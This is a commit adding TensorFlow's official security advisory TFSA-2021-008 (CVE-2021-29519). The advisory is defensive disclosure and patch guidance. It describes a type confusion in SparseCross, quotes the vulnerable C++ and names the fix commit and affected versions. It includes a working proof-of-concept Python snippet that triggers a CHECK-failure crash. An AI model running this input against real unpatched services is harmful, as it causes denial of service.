chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-008.md

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+## TFSA-2021-008: `CHECK`-fail in `SparseCross` due to type confusion
+
+### CVE Number
+CVE-2021-29519
+
+### Impact
+The API of `tf.raw_ops.SparseCross` allows combinations which would
+result in a `CHECK`-failure and denial of service:
+
+```python
+import tensorflow as tf
+
+hashed_output = False
+num_buckets = 1949315406
+hash_key = 1869835877
+out_type = tf.string
+internal_type = tf.string
+
+indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
+indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
+indices = [indices_1, indices_2]
+
+values_1 = tf.constant([0], dtype=tf.int64)
+values_2 = tf.constant([72], dtype=tf.int64)
+values = [values_1, values_2]
+
+batch_size = 4
+shape_1 = tf.constant([4, 122], dtype=tf.int64)
+shape_2 = tf.constant([4, 188], dtype=tf.int64)
+shapes = [shape_1, shape_2]
+
+dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
+dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
+dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
+denses = [dense_1, dense_2, dense_3]
+
+tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
+                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
+```
+
+The above code will result in a `CHECK` fail in
+[`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):
+
+```cc
+void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
+  CHECK_EQ(dtype(), expected_dtype)
+      << " " << DataTypeString(expected_dtype) << " expected, got "
+      << DataTypeString(dtype());
+  ...
+}
+```
+
+This is because the
+[implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116)
+is tricked to consider a tensor of type `tstring` which in fact contains
+integral elements:
+
+```cc
+  if (DT_STRING == values_.dtype())
+      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
+  return values_.vec<int64>().data()[start + n];
+```
+
+Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types
+solves this issue.
+
+### Patches
+We have patched the issue in GitHub commit
+[b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
+X-Team.